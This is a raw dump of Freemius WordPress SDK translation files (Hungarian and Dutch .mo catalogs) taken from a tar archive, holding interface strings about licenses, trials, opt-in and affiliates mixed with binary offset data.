be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.This plugin requires a newer version of PHP.This will allow %s toTimestampTitleTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionW00tUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListView detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.We made a few tweaks to the %s, %sWe'll make sure to contact your hosting company and resolve the issue. You will get a follow-up email to %s once we have an update.We're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress & PHP versions, site language & titleWordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - do your thingYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your WordPress user's: first & last name, and email addressYour account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal CodeRight onactivate a license hereActive%s cannot run without %s.%s cannot run without the plugin.Heads upallow%s leftActivatingyearAPIDismissDebuggingCongratsBlockedConnectedDownload LatestDownload Latest Free VersionMonthlyExpirationPathSending emailmoAnnualAnnuallyOncePlanNo SecretSDK VersionsLicenseSyncSync LicenseAuthorOffOnbased on %sStart free trialDismissDismisscomplete the opt-indatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.%s PlanBilled %sBestHeyOopsHey %s,hourhoursInstalledYee-hawlicenseSitesmsnew Beta versionnew versionnot verifiedPricePricingoptionalVersionproductsrevert it nowsecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipHmmstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialTrialDeleteDowngradeEditHideOpt InOpt OutPurchaseShowSkipUpdateUpgrade%s agovendor/freemius/languages/freemius-hu_HU.mo000064400000064207147600365160015031 0ustar00{ nS0 _ ! !!!'!+!J!j!r!!! !!!!!&!-"A" V"`"s"z""" "" " """" # #2=#!p######### ## $$:$A$U$ i$ v$$$$$ $ $$$$% %('%:P%%%%% % %%%% %%x&& ' -'7'K'S'm'''''' '' 'a(i(o(( ( (((( ( ( ((j(5c) )))))))-!*O*c*'{**7*** ++0+F+ N+X+1+. ,O,A,-1-G-BK-,-- --- .... 0. ;.G. W.c.y. ... ..... .....///$/@/ F/R/ [/ f/t/////-/U/B0a0h0 x00(0*0"011+:1*f1&1111.1 22=2E2 T2 _2j2s2 |22 2222 22233$3(313 93E3 W3b3q3333 33 33 3 33 33 44 (4 34>4S4f4C444-4-5 35@5'G5 o5y5555555555*5 6*6^=666666 6 666"66 7=W77 77-778+8*E8p8t888&8-899<L9U9K9(+:GT:#:%:):$;)5;_;q;>;;;$; <:<V<r<&<*<7<=1=O=3h======*>1;>m>>#>>>>>?6? K?X?w??????1?/@7@K@ \@ h@ u@ @@@C@@Q@IA YA fApAvA AA A A A A A A A A A B~E(GF pFu{FFG G G'G*G-G1G:GCGIG ]G hGtGGGGG;G3$HXHtHH HHHHH$HI I I >IIIZI rI*IIII J J J *J5J=JBJKJeJzJJJJJ JJJK+KDKYK uKKK'K KCK L&L+L PTPCP Q*Q3Q'HQpQ#Q2QQQR2R5R!QR"sRRRRRRR.S2S(T<TUU6UY;+h~W1HKsfcYicue+Z(a:O]gt=A1#_# o& /?[5v@}GF't24L"y!k_Zr[dNCy.nr@EEz X>BPI=k9MBjR$)<D^A0qS9m2U6F^$7-0LXo "d&x5VQl The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Licenses%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s rating%s ratings%s star%s stars%s time%s timesAPIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd another domainAdd-OnAdd-OnsAddressAddress Line %dAffiliationAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAmountAn unknown error has occurred.Anonymous feedbackApply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?Automatic InstallationAverage RatingAwesomeBillingBilling & InvoicesBlockingBlog IDBodyBusiness nameBuy a license nowBuy licenseCan't find your license key?CancelCancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %s...Cancelling the subscriptionChange LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDelete All AccountsDetailsDon't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest versionDownloadedEmailEmail addressEnter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsFileFilterFreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius is our licensing and software updates engineFull nameFunctionHave a license key?How to upload and activate?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI no longer need the %sI only needed the %s for a short periodIDIf you have a moment, please let us know why you are %sImportant Upgrade Notice:Install Free Version NowInstall NowInstall Update NowInstalling plugin: %sInvoiceIs ActiveIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It's not what I was looking forJoin the Beta programKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLocalhostMessageMethodModule PathMore information about %sNameNewNew Version AvailableNewsletterNextNoNo IDNo credit card requiredO.KOpt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPayPal account email addressPaymentsPlanPlan IDPlease contact us herePlease contact us with the following message:Please enter the license key that you received in the email right after the purchase:Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium versionPremium version already active.PricingPrivacy PolicyProcess IDProcessingProductsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRenew licenseRenew your license nowRequestsRequires WordPress VersionResultSDKSDK PathSave %sScreenshotsSearch by addressSecret KeySelect CountrySend License KeySingle Site LicenseSite IDSitesSkip & %sSlugStart TrialStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you!Thanks %s!The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a new version of %s available.TimestampTitleTotalTownTrialTypeUnlimited LicensesUnlimited UpdatesUp to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser DashboardUser IDUsersValueVerifiedVerify EmailView detailsView paid featuresWarningWe made a few tweaks to the %s, %sWebsite, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?WordPress.org Plugin PageWould you like to proceed with the update?YesYou are all good!You are just one step away - %sYou have a %s license.You have successfully updated your %s.Your %s license was successfully deactivated.Your account was successfully activated with the %s plan.Your email has been successfully verified - you are AWESOME!Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your trial has been successfully started.ZIP / Postal Codeactive add-onActiveadvance notice of something that will need attention.Heads upas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOncall to actionStart free trialclose a windowDismissclose windowDismissdeactivatinge.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,installed add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionsend me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingtrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradeProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Peter Ambrus, 2018-2019,2021 Language-Team: Hungarian (Hungary) (http://www.transifex.com/freemius/wordpress-sdk/language/hu_HU/) Language: hu_HU MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js A(z) %1$s fizetős verziója sikeresen telepítve. Kérlek aktiváld, hogy a(z) %2$s minden funkciója elérhető legyen. %3$s"%s" aktiválásának a befejezése most%s licenszA(z) %s egy prémium kiegészítő. A bővítmény aktiválásához előbb egy érvényes licenszt kell vásárolnod.%s értékelés%s értékelés%s csillag%s csillag%s%sAPI←➤FiókFiók információkEseményekAktiválás%s aktiválása%s csomag aktiválása%s funkciók aktiválásaIngyenes verzió aktiválásaLicensz aktiválásaLicensz aktiválása a hálózat minden függő aloldalán.Licensz aktiválása a hálózat minden aloldalán.Kiegészítő bekapcsolásaSikeres aktiválásMásik domain hozzáadásaKiegészítőKiegészítőkCímCím %dAjánlórendszerLicensz elfogadása és aktiválásaMinden kérésMinden típusEngedélyezés és folytatásMennyiségIsmeretlen hiba.Névtelen visszajelzésJelentkezés ajánló partnernekBiztosan törölsz minden Freemius adatot?Biztosan ezt szeretnéd?Automatikus telepítésÁtlagos értékelésNagyszerűSzámlázásSzámlázásBlokkolásBlog IDBodyCégnévVásárolj licenszet mostLicensz vásárlásaNem találod a licensz kulcsod?MégsemTelepítés törléseElőfizetés törlésePróbaidő törléseTörölve%s törlése...Előfizetés törléseLicensz módosításaTulajdonos módosításaCsomag módosításaFelhasználó módosításaPénztárVárosAPI gyorsítótár törléseÁtmeneti frissítési adatok törléseKattints ideKattints ide, ha névtelenül szeretnéd használni a bővítménytTermékekKódKompatibilitás:KapcsolatÍrás az ügyfélszolgálatraKapcsolatKözreműködőkA(z) %s aktiválása nem sikerült.OrszágDátumDeaktiválásLicensz deaktiválásaA(z) %s deaktiválása vagy törlése automatikusan törli az oldalhoz tartozó licenszed is, amit így másik weboldalon tudsz újra aktiválni.A licensz deaktiválása után a prémium funkciók használata nem elérhető, de így tudod másik weboldalon aktiválni ugyanezt a licenszt. Folytatod a deaktiválást?DeaktiválásHibakeresési naplóMinden fiók törléseRészletekNincs még licensz kulcsod?Bővítmény támogatásaElőfizetés módosítása kisebbreLetöltés%s verzió letöltéseFizetős verzió letöltéseTöltsd le a legfrissebb verziótLetöltések száma:EmailEmail címAdd meg az email címet, amit a vásárlás során használtál és újraküldjük a licensz kulcsot.HibaHiba érkezett a szervertől.LejártHátralévő idő: %sTovábbi domainekFájlSzűrőIngyenesIngyenes próbaidőIngyenes verzióFreemius APIFreemius hibakeresésA Freemius SDK nem találja a bővítmény fő fájlját. Kérlek írj az sdk@freemius.com email címre a problémával kapcsolatban.A licenszkezelést és szoftver frissítést a Freemius biztosítjaTeljes névFunkcióVan licensz kulcsod?Hogyan kell feltölteni és aktiválni?Nem tudom tovább fizetniNem értettem, hogy kell használniNem szeretném megosztani veletek az információtJobb %st találtamNincs tovább szükségem ráCsak egy kis időre használtamIDKérlek mondd el, miért %sFontos frissítési információ:Ingyenes verzió telepítése mostTelepítés mostFrissítés telepítése mostBővítmény telepítése: %sSzámlaAktívEz egy ügyfélnek készült weboldal? %s ha szeretnéd inkább elrejteni az admin felületről az érzékeny információkat, mint például email cím, licensz kulcs, árak, számlázási adatok és számlák.Úgy tűnik, hogy a licensz nem aktiválható.Úgy tűnik a licensz kikapcsolása nem sikerült.Úgy tűnik, hogy még mindig a %s csomagban vagy. Ha biztosan előfizettél vagy csomagot váltottál, akkor valószínű a hiba a mi oldalunkon van. Elnézést!Úgy tűnik, hogy a weboldalhoz nem tartozik aktív licensz.Nem ezt kerestemJelentkezz a Béta programbaKulcsHa elmondod mi nem működött, ki tudjuk javítani a leendő felhasználók számára...Ha elmondod az okát, tudunk fejlődni.UtolsóUtolsó frissítésLegfrissebb ingyenes verzió telepítveLegfrissebb verzió telepítveBővebbenHosszLicenszLicensz szerződésLicensz IDLicensz kulcsLicensszel kapcsolatos problémák?Licensz kulcsA licensz kulcs üres.ÖrökLocalhostÜzenetMódModul útvonalTovábbi információNévÚjÚj verzió érhető elHírlevélKövetkezőNemNincs IDBankkártya megadása nem kötelezőRendbenFeliratkozásLeiratkozásIratkozz fel, hogy a(z) %s még jobb lehessen!EgyébTulajdonos email címeTulajdonos IDTulajdonos nevePCI megfelelésPayPal fiók email címeFizetési módokCsomagCsomag IDÍrj nekünk ittKérlek írj nekünk a következő üzenettel:Kérlek add meg a licensz kulcsot, amit emailben kaptál a vásárlásod után:Kérlek add meg a teljes neved!BővítményBővítmény oldalaBővítmény IDBővítmény telepítéseVáltoztatásokLeírásGYIKFunkciók & ÁrakTelepítésEgyéb megjegyzésekVéleményekBővítményekBővítmények és sablonok szinkronizálásaPrémium%s prémium verziója sikeresen aktiválva.Prémium verzióA prémium verzió már aktív.ÁrakAdatkezelési tájékoztatóMűvelet IDFeldolgozás alattTermékekTartományPublikus kulcsLicensz vásárlásaVásárlás folytatásaGyors visszajelzésRendelkezésre állAktivációs email újraküldéseLicensz megújításaLicensz kulcs megújításaKérésekA következő WordPress verzió szükséges:EredménySDKSDK útvonal%s mentéseKépernyőfotókKeresés cím alapjánTitkos kulcsVálaszz országotLicensz kulcs küldéseEgy weboldalas licenszWeboldal IDWeboldalakKihagyás & %sKözvetlen hivatkozásPróbaidő indításaMegyeKüldés & %sElőfizetésÜgyfélszolgálatTámogató fórumAdatok szinkronizálása a szerverrőlKözösségi adószámSzolgáltatási feltételekKöszönjük!Köszönjük %s!A(z) %s hibát generált az oldalonA(z) %s nem működöttA %s nem az elvárásoknak megfelelően működöttA(z) %s nagyszerű, de nekem olyan funkcióra van szükségem, amit nem tudA(z) %s nem működikA(z) %s egyszer csak nem működöttA(z) %s frissítése sikeres volt.SablonSablon váltásSablonokA(z) %s új verziója érhető el.IdőbélyegCímÖsszesenTelepülésPróbaidőTípusKorlátlan licenszKorlátlan frissítésWeboldalak száma: %sFrissítésLicensz frissítéseFrissítések, közlemények, marketing, de semmi SPAM!ElőfizetésTöltsd fel és aktiváld a letöltött verziótFantasztikusFelhasználó vezérlőpultFelhasználó IDFelhasználókÉrtékEllenőrzöttEmail ellenőrzéseRészletek megtekintéseFizetős funkciók megtekintéseFigyelmeztetésNéhány frissítést kapott a %s. %sWeboldal, email és közösségi média statisztikák (opcionális)Köszönjük, hogy a(z) %s szoftverünket választottad! Kérlek add meg a licensz kulcsod: Mire számítottál?Melyik funkcióra van szükséged?Mi a te %s?Mi lenne az elfogadható ár, amit tudnál fizetni?Pontosan mit kerestél?Mi a %s neve?WordPress.org bővítmény oldalSzeretnéd folytatni a frissítést?IgenMinden rendben!Már csak egy lépés van hátra - %sLicensz típusa: %sA(z) %s sikeresen frissítve.A(z) %s licensz kikapcsolása sikerült.A fiókodat sikeresen aktiváltuk a következő csomaggal: %sAz email címedet sikerült ellenőrizni - ez nagyszerű!A licensz kikapcsolásra került. Ha úgy gondolod, hogy ez tévedés volt, kérlek írj az ügyfélszolgálatra!A licensz lejárt. A(z) %s ingyenes verziója továbbra is használható korlátlanul.A licensz sikeresen aktiválva.A licenszedet sikeresen deaktiváltuk, az aktuális csomagod: %sA neved sikeresen frissítettük.Az előfizetés sikeresen aktiválva.Az előfizetés sikeresen módosítva: %s.Az előfizetés sikeresen frissítve.A próbaidőszakodat sikeresen aktiváltuk.IrányítószámAktívFigyelemAktiválásévAPIMégsemHibakeresésGratulálunkBlokkolvaKapcsolódvaLegfrissebb verzió letöltéseA legfrissebb ingyenes verzió letöltéseHaviLejáratÚtvonalEmail küldésehóÉvesÉvesEgyszeriCsomagNincs titkos kulcsSDK verziókLicenszSzinkronizálásLicensz szinkronizálásaSzerzőKiBeIngyenes próbaidőszak indításaMégsemMégsemdeaktiválod%s csomag%s számlázásLegjobbÜdvHoppáÜdv %s!TelepítveJuhuuulicenszWeboldalakúj Béta verzióúj verziónem ellenőrzöttÁrÁrakválaszthatóVerziókérek biztonsági és funkcionális frissítéseket, használati ismertetőket és ajánlatokat.ugrásHmmpróbaidő indításaelőfizetésváltaszpróbaidőPróbaidőTörlésVáltás kisebb csomagraSzerkesztésElrejtFeliratkozásLeiratkozásVásárlásMutasdUgrásFrissítésVáltás nagyobb csomagravendor/freemius/languages/freemius-nl_NL.mo000064400000135327147600365160015025 0ustar00T +A+S+%, =, I,U,\,6o,,_[-#-- - . ..".*.3.;.@D.H..O.1/5/T/t/// /////&/-0C0 X0b0q00005000 0 1' 141 M1 Z1d1ou11122"2222!-3aO30333 44"464>4G4O4 T4b4 t44444 K5V5j5 ~5 5 555Y5*696 J6V6_6d6t6(616%6:7I7N7_7g7 w7 777 77 77x7S8 8 889+9t3999999 :*: F:Q:[:fE;; ;;Y;a<<<< < <;<= ==> > !> .>;>jJ>> >>3> ?~?U??@)@)D@-n@@S@A'ADAMGA7AgAp5BBByB@CYC yCCCC CC C1C.&DOUDDA%EygEEaFcFBgF,FF F FFG -G8G?GGG YG eGqGG4GG GGGGGG HH &H 2H>HXH ]H jHwH{H!HH HHHH%H+I;I SI aI/nIImI~JJJJJ JJ J J)JK5K4>KsK5xK(KKK-K$LU8LL1WM~MN[%OOOO OO(O*O"$P1GP+yP*P&PNPFQNQdQ.lQ)QQQQQ R RR(R8RJR SR^RoR~RRWR RSS#S>SESISRSZS jSvS S5SsSl=T&TTT TTU1UEUMUiU oUyU&~ULUfUYV _VkV|V V VV VV VVV{W/XBX)bX X X\XXY'YCFYYYYdFZ-ZZ ZZZ'[M:[G[ [[[[[[E[<\O\a\x\\\*\\*\^\Z]b]h]dn]] ]] ^^"^i*^W^"^B_6R__ __-__ `&`F```d`$m`M``/`"aoBa>aa&bZ/bTbRb.2c.ac9cZc3%d<YdbdPdUJe_efKf(fGg#Xg)|g$gUg)!hKh]hzh;h6h>iAiGibii$iiiij&-j*Tj7jjjj3k9kNkdk|kk*k1k l&l#:l^lzll llll lmN mYmxmmmmm1mnn1n An Mn Zn enrn nCnnQn1o Ao NoXosoyo oo o o o o o o o o p ppFs't$Atft vt tt6ttqu):vdv vvvvv vv vGvM#wqwJwwwwwwx xx)x?xVx6hx/xx xxyy 4y @y:Nyy y y y"yy y y znzzz9{,Q{%~{.{7{# |{/|?||}}2};} O} [}g}o} t}} }&}}}} ~~~~ ~ ~u6  ,5K? ˀЀ߀ , 1; AL` ǂނhƃ$ك! +a^K jÅ~.$׆78@!Gip {*:I>Qf0'͊3?)iY~؋1(Z+jh|Z׍ z|" Ȏݎ' 5 =;G>`#A ]"l,%=#c Ɠ֓ B = KUY`hq  Д Ք*#? cox|/74$Y^fmu ŗ3ї E+qBv&#8 EY[8՚m_# (3G Wdx N!)+1.] Ξ מ  />TZmz  6@D LWf y8Рb3"1I[t âѢ&֢SxQʣУ  %2 R]p'Hӥ*8G "= OZp˧ܧ\( ' /+PP|Aͩ !( /<XAª ٪ -.(6_ d r}}  :I cdp^լ64Fk8 'E_z(bI!X(z5;q#W_ae-DZ14'\\,9k `j`XRS%E̵ '3![V}%Զ  , MZc r| Ϸ   ! +5> C O[d iw~ ĸ иUڸ08IOSX`fou xL  " -; [ h u  ĺ ̺k2;`|4|?*r@tZ"G ^<7A:l]Qcq iS4\bKB9Lm'( asI=Ccn$!RN 21}8#wU:B]xC{J<qiPISHjWW XT73\r[sEg 8?6vfz}+o,%ldFaM.;JpAUQ0$w,>MRjfv VPK(&`3#yYZ0ykbE6LDO~5&_^~e>@9n {F)=Dh5-V1+z)pNOH" T[Xx./_e%'t*!Y/-duog G uhm %s to access version %s security & feature updates, and support.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.APIASCII arrow left icon←ASCII arrow right icon➤Account DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBillingBlockingBlog IDBodyBusiness nameBuy a license nowBuy licenseCan't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClear Updates TransientsClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDelegate to Site AdminsDelete All AccountsDetailsDon't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedDue to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.During the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEndEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGet commission for automated subscription renewals.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid module ID.Invalid site details collection.InvoiceIs ActiveIt looks like the license 